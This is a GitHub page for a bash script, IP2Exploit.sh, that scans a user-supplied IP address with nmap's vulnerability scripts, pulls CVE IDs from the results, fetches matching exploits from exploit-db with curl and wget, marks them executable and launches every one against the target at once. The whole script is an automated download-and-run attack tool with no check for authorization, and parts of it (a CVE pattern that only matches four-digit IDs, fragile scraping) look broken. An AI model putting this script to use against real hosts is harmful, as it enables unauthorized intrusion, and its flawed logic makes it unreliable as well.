-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathIP2Exploit.sh
More file actions
28 lines (22 loc) · 1018 Bytes
/
IP2Exploit.sh
File metadata and controls
28 lines (22 loc) · 1018 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
# Ask the user for the IP address to scan
read -p "Enter the IP address to scan: " ip_address
# Perform a vulnerability scan using Nmap and output the results to a file
echo "Scanning for vulnerabilities on $ip_address..."
nmap -sV --script vuln "$ip_address" -oN nmap_scan.txt
# Extract the CVE IDs from the scan results
cve_ids=$(grep -Eo 'CVE-[0-9]{4}-[0-9]{4}' nmap_scan.txt)
# Loop through the CVE IDs and download the corresponding exploits from exploit-db.com
for cve_id in $cve_ids; do
echo "Downloading exploit for $cve_id..."
search_query="https://www.exploit-db.com/search?cve=$cve_id"
exploit_url=$(curl -s "$search_query" | grep -oP 'href="/exploits/\d{5}"' | head -1 | grep -oP '\d{5}')
wget "https://www.exploit-db.com/download/$exploit_url" -O "$cve_id".rb
done
# Make the exploits executable
chmod +x *.rb
# Start the exploits on the provided IP address
for cve_id in $cve_ids; do
echo "Starting exploit for $cve_id on $ip_address..."
"./$cve_id.rb" "$ip_address" &
done